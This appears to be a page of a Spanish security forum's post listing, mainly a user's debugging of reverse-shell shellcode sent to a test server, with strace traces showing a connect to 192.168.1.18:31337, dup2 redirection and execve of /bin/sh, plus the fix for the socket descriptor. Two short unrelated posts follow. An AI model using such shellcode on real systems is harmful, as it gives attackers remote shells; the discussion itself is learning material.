read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ)   = 0
mprotect(0xb77bc000, 4096, PROT_READ)   = 0
munmap(0xb7778000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
accept(3, {sa_family=AF_INET, sin_port=htons(60865), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
read(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 255) = 148
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7797000
write(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 148) = 148
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb88bf000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7768000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6
fstat64(6, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 6, 0) = 0xb7748000
close(6)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 6
read(6, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(6, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0xb759e000
mmap2(0xb7742000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x1a4000) = 0xb7742000
mmap2(0xb7745000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7745000
close(6)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb759d000
set_thread_area({entry_number:-1, base_addr:0xb759d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7742000, 8192, PROT_READ)   = 0
mprotect(0xb77ab000, 4096, PROT_READ)   = 0
mprotect(0xb778c000, 4096, PROT_READ)   = 0
munmap(0xb7748000, 127778)              = 0
getpid()                                = 1993
rt_sigaction(SIGCHLD, {0xb779ebc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 1991
brk(NULL)                               = 0xb88bf000
brk(0xb88e0000)                         = 0xb88e0000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbfbcbea8)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, 0xb77ac6c0, 8192)               = -1 ENOTCONN (Transport endpoint is not connected)
exit_group(0)                           = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$

¿Qué ha ocurrido? Simple, primero ha realizado lo que el programa ejecuta legítimamente, socket(); bind(); listen(); accept(); read(); write(); .
Este trozo de aquí:

Código:

socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0

Lo ejecuta el shellcode, como veis, logra ejecutar hasta /bin/sh..., lo de más abajo es todo de sh. Pero por algún motivo este programa (sh) se cierra inesperadamente, pero limpiamente, provocando que "v" salga también limpiamente (con 0) gracias al exit_group().

Lo impresionante es que si hago un "strace ./prueba" (el programa en C de prueba del shellcode), funciona a la perfección:

Código:

arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8656000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ)   = 0
mprotect(0xb776c000, 4096, PROT_READ)   = 0
munmap(0xb7728000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ)   = 0
mprotect(0xb7720000, 4096, PROT_READ)   = 0
mprotect(0xb7701000, 4096, PROT_READ)   = 0
munmap(0xb76bd000, 127778)              = 0
getpid()                                = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 2027
brk(NULL)                               = 0xb89de000
brk(0xb89ff000)                         = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0,

Y se queda suspendido, mientras en la otra pantalla tengo los privilegios de arget de nuevo. Lo más gracioso de todo es que las llamadas al sistema son iguales, solo cambian un par de direcciones que no deberían afectar.
Para darlo todo completo, cuando cierro la conexión en strace queda esto:

Código:

arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8656000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ)   = 0
mprotect(0xb776c000, 4096, PROT_READ)   = 0
munmap(0xb7728000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ)   = 0
mprotect(0xb7720000, 4096, PROT_READ)   = 0
mprotect(0xb7701000, 4096, PROT_READ)   = 0
munmap(0xb76bd000, 127778)              = 0
getpid()                                = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 2027
brk(NULL)                               = 0xb89de000
brk(0xb89ff000)                         = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, "exit\n", 8192)                 = 5
exit_group(0)                           = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$

Por si sirve de algo:

Código:

arget@kali:~/exploiting/remote$ uname -a
Linux kali 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux

Código:

arget@kali:~/exploiting/remote$ cat /proc/cpuinfo
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 23
model name	: Intel(R) Celeron(R) CPU          900  @ 2.20GHz
stepping	: 10
microcode	: 0xa0b
cpu MHz		: 2194.963
cache size	: 1024 KB
physical id	: 0
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 0
initial apicid	: 0
fdiv_bug	: no
f00f_bug	: no
coma_bug	: no
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss tm pbe nx lm constant_tsc arch_perfmon pebs bts aperfmperf pni dtes64 monitor ds_cpl tm2 ssse3 cx16 xtpr pdcm xsave lahf_lm dtherm
bugs		:
bogomips	: 4389.92
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:

arget@kali:~/exploiting/remote$

Era necesario indicar a dup2 el descriptor de socket moviendo a ebx el valor guardado anteriormente en esi mediante un "mov ebx, esi" justo antes de la etiqueta "bucle". Gracias por vuestra ayuda.

39	Foros Generales / Foro Libre / Re: Encuesta: ¿Cuál es vuestro lenguaje de programación favorito?	en: 12 Septiembre 2015, 09:25 am
No entiendo cómo va antes C++ que C... Y menos aún que este esté a la altura de C#. Ah, que la POO se ha puesto de moda, cierto.

40	Seguridad Informática / Seguridad / Re: Ayuda sobre Chrome ZM	en: 7 Septiembre 2015, 09:14 am
¿Y por qué no bloquear cualquier conexión a ZenMate? De todas formas, pueden usar cualquier otro proxy. Puedes configurar que los switchs antes de ir al router pasen por un proxy que lea las cabeceras. Si es una cabecera para un proxy, lo bloquea. Si para evitar que lean las cabeceras lo envían cifrado, pues lo bloqueas (a no ser que vaya a un servidor que use la empresa que requiere que vaya cifrado). Edito: Además, puedes emplear ingeniería forense en los ordenadores para ver en qué horas se hicieron los cambios para cada uno, lo más probable es que en el que se hizo antes sea el del empleado "atrevido".

Páginas: 1 2 3 [4] 5